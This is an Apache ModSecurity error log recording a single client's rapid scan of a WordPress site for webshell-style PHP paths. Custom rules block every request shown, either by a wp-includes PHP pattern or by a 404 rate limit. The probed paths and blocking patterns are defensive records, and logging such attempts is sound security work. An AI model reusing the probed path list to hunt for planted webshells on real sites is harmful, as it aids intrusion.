[Sun Mar 01 00:23:30.968671 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2255] [client 4.241.228.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaMWgg2UMRAYWtDB23Sb-QAAAQU"]
[Sun Mar 01 00:23:33.107405 2026] [:error] [pid 31190:tid 31212] [client 4.241.228.159:2506] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaMWhRfvwGOholYpM1E7PwAAAMY"]
[Sun Mar 01 00:23:33.359005 2026] [:error] [pid 31190:tid 31220] [client 4.241.228.159:2544] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaMWhRfvwGOholYpM1E7QQAAAM4"]
[Sun Mar 01 00:23:33.665592 2026] [:error] [pid 31190:tid 31217] [client 4.241.228.159:2177] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaMWhRfvwGOholYpM1E7RgAAAMs"]
[Sun Mar 01 00:23:33.929551 2026] [:error] [pid 30795:tid 30815] [client 4.241.228.159:2494] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaMWhWuI44IL94Zgti-jiQAAAAc"]
[Sun Mar 01 00:23:34.195287 2026] [:error] [pid 30795:tid 30830] [client 4.241.228.159:2500] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaMWhmuI44IL94Zgti-jiwAAABY"]
[Sun Mar 01 00:23:34.437060 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2537] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaMWhg2UMRAYWtDB23ScIQAAARU"]
[Sun Mar 01 00:23:34.665811 2026] [:error] [pid 30797:tid 30886] [client 4.241.228.159:2484] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaMWhvQmcmSQL-3rvLD3zAAAAE8"]
[Sun Mar 01 00:23:34.900174 2026] [:error] [pid 31190:tid 31212] [client 4.241.228.159:2512] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaMWhhfvwGOholYpM1E7TwAAAMY"]
[Sun Mar 01 00:23:35.150174 2026] [:error] [pid 31190:tid 31219] [client 4.241.228.159:2238] [client 4.241.228.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aaMWhxfvwGOholYpM1E7UgAAAM0"]
[Sun Mar 01 00:23:35.386014 2026] [:error] [pid 31190:tid 31209] [client 4.241.228.159:2534] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aaMWhxfvwGOholYpM1E7UwAAAMM"]
[Sun Mar 01 00:23:35.611654 2026] [:error] [pid 31190:tid 31223] [client 4.241.228.159:2199] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aaMWhxfvwGOholYpM1E7VAAAANE"]
[Sun Mar 01 00:23:35.962227 2026] [:error] [pid 53600:tid 53622] [client 4.241.228.159:2256] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aaMWhw2UMRAYWtDB23ScKQAAARM"]
[Sun Mar 01 00:23:36.274693 2026] [:error] [pid 30795:tid 30829] [client 4.241.228.159:2530] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaMWiGuI44IL94Zgti-jkAAAABU"]
[Sun Mar 01 00:23:36.504660 2026] [:error] [pid 30795:tid 30809] [client 4.241.228.159:2472] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaMWiGuI44IL94Zgti-jkgAAAAE"]
[Sun Mar 01 00:23:36.797812 2026] [:error] [pid 31190:tid 31219] [client 4.241.228.159:2519] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaMWiBfvwGOholYpM1E7XQAAAM0"]
[Sun Mar 01 00:23:37.034457 2026] [:error] [pid 30798:tid 30912] [client 4.241.228.159:2518] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaMWicBkD73gO8wTonY4tAAAAI0"]
[Sun Mar 01 00:23:37.297036 2026] [:error] [pid 31190:tid 31214] [client 4.241.228.159:2462] [client 4.241.228.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaMWiRfvwGOholYpM1E7XwAAAMg"]
[Sun Mar 01 00:23:37.585707 2026] [:error] [pid 31190:tid 31221] [client 4.241.228.159:2481] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aaMWiRfvwGOholYpM1E7YwAAAM8"]
[Sun Mar 01 00:23:37.819160 2026] [:error] [pid 30798:tid 30917] [client 4.241.228.159:2501] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aaMWicBkD73gO8wTonY4tQAAAJI"]
[Sun Mar 01 00:23:38.077810 2026] [:error] [pid 53600:tid 53605] [client 4.241.228.159:2463] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aaMWig2UMRAYWtDB23ScLgAAAQI"]
[Sun Mar 01 00:23:38.346099 2026] [:error] [pid 53600:tid 53614] [client 4.241.228.159:2497] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aaMWig2UMRAYWtDB23ScMgAAAQs"]
[Sun Mar 01 00:23:38.600180 2026] [:error] [pid 30795:tid 30826] [client 4.241.228.159:2505] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aaMWimuI44IL94Zgti-jlQAAABI"]
[Sun Mar 01 00:23:38.908854 2026] [:error] [pid 31190:tid 31228] [client 4.241.228.159:2192] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aaMWihfvwGOholYpM1E7aAAAANY"]
[Sun Mar 01 00:23:39.157869 2026] [:error] [pid 30798:tid 30903] [client 4.241.228.159:2194] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aaMWi8BkD73gO8wTonY4tgAAAIQ"]
[Sun Mar 01 00:23:39.389483 2026] [:error] [pid 31190:tid 31211] [client 4.241.228.159:2213] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aaMWixfvwGOholYpM1E7agAAAMU"]
[Sun Mar 01 00:23:39.685651 2026] [:error] [pid 53600:tid 53612] [client 4.241.228.159:2261] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aaMWiw2UMRAYWtDB23ScOgAAAQk"]
[Sun Mar 01 00:23:39.961474 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2532] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aaMWiw2UMRAYWtDB23ScPgAAAQU"]
[Sun Mar 01 00:23:40.210614 2026] [:error] [pid 30798:tid 30909] [client 4.241.228.159:2496] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aaMWjMBkD73gO8wTonY4ugAAAIo"]
[Sun Mar 01 00:23:40.444242 2026] [:error] [pid 30795:tid 30815] [client 4.241.228.159:2511] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aaMWjGuI44IL94Zgti-jmQAAAAc"]
[Sun Mar 01 00:23:40.789189 2026] [:error] [pid 53600:tid 53618] [client 4.241.228.159:2508] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaMWjA2UMRAYWtDB23ScRgAAAQ8"]
[Sun Mar 01 00:23:41.031048 2026] [:error] [pid 53600:tid 53617] [client 4.241.228.159:2552] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaMWjQ2UMRAYWtDB23ScSwAAAQ4"]
[Sun Mar 01 00:23:41.272432 2026] [:error] [pid 53600:tid 53621] [client 4.241.228.159:2558] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaMWjQ2UMRAYWtDB23ScTgAAARI"]
[Sun Mar 01 00:23:41.512511 2026] [:error] [pid 30795:tid 30810] [client 4.241.228.159:2183] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaMWjWuI44IL94Zgti-jmwAAAAI"]
[Sun Mar 01 00:23:41.786642 2026] [:error] [pid 31190:tid 31229] [client 4.241.228.159:2550] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aaMWjRfvwGOholYpM1E7cAAAANc"]
[Sun Mar 01 00:23:42.017870 2026] [:error] [pid 30797:tid 30875] [client 4.241.228.159:2363] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aaMWjvQmcmSQL-3rvLD31QAAAEQ"]
[Sun Mar 01 00:23:42.309029 2026] [:error] [pid 53600:tid 53623] [client 4.241.228.159:2264] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aaMWjg2UMRAYWtDB23ScWQAAARQ"]
[Sun Mar 01 00:23:42.590405 2026] [:error] [pid 30795:tid 30821] [client 4.241.228.159:2879] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aaMWjmuI44IL94Zgti-jngAAAA0"]
[Sun Mar 01 00:23:42.839825 2026] [:error] [pid 53600:tid 53617] [client 4.241.228.159:2559] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaMWjg2UMRAYWtDB23ScYQAAAQ4"]
[Sun Mar 01 00:23:43.129673 2026] [:error] [pid 31190:tid 31226] [client 4.241.228.159:2490] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaMWjxfvwGOholYpM1E7dgAAANQ"]
[Sun Mar 01 00:23:43.361842 2026] [:error] [pid 30795:tid 30829] [client 4.241.228.159:2501] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaMWj2uI44IL94Zgti-jogAAABU"]
[Sun Mar 01 00:23:43.589629 2026] [:error] [pid 30797:tid 30884] [client 4.241.228.159:2211] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaMWj_QmcmSQL-3rvLD31wAAAE0"]
[Sun Mar 01 00:23:43.838710 2026] [:error] [pid 53600:tid 53605] [client 4.241.228.159:2502] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaMWjw2UMRAYWtDB23ScagAAAQI"]
[Sun Mar 01 00:23:44.075708 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2205] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaMWkA2UMRAYWtDB23ScbgAAAQc"]
[Sun Mar 01 00:23:44.362988 2026] [:error] [pid 53600:tid 53627] [client 4.241.228.159:2186] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaMWkA2UMRAYWtDB23SccgAAARg"]
[Sun Mar 01 00:23:44.587689 2026] [:error] [pid 30797:tid 30878] [client 4.241.228.159:2218] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaMWkPQmcmSQL-3rvLD32gAAAEc"]
[Sun Mar 01 00:23:44.813409 2026] [:error] [pid 53600:tid 53609] [client 4.241.228.159:2217] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aaMWkA2UMRAYWtDB23ScdgAAAQY"]
[Sun Mar 01 00:23:45.039843 2026] [:error] [pid 30795:tid 30827] [client 4.241.228.159:2473] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aaMWkWuI44IL94Zgti-jqQAAABM"]
[Sun Mar 01 00:23:45.268284 2026] [:error] [pid 31190:tid 31227] [client 4.241.228.159:2527] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aaMWkRfvwGOholYpM1E7fgAAANU"]
[Sun Mar 01 00:23:45.494197 2026] [:error] [pid 30795:tid 30816] [client 4.241.228.159:2357] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aaMWkWuI44IL94Zgti-jrAAAAAg"]
[Sun Mar 01 00:23:45.723147 2026] [:error] [pid 31190:tid 31217] [client 4.241.228.159:2545] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaMWkRfvwGOholYpM1E7ggAAAMs"]
[Sun Mar 01 00:23:45.951556 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2541] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaMWkQ2UMRAYWtDB23ScggAAAQ0"]
[Sun Mar 01 00:23:46.178070 2026] [:error] [pid 31190:tid 31208] [client 4.241.228.159:2235] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaMWkhfvwGOholYpM1E7hgAAAMI"]
[Sun Mar 01 00:23:46.404518 2026] [:error] [pid 30798:tid 30917] [client 4.241.228.159:2270] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaMWksBkD73gO8wTonY4yAAAAJI"]
[Sun Mar 01 00:23:46.667021 2026] [:error] [pid 53600:tid 53619] [client 4.241.228.159:2214] [client 4.241.228.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaMWkg2UMRAYWtDB23SchwAAARA"]
[Sun Mar 01 00:23:46.911987 2026] [:error] [pid 30798:tid 30903] [client 4.241.228.159:2548] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aaMWksBkD73gO8wTonY4yQAAAIQ"]
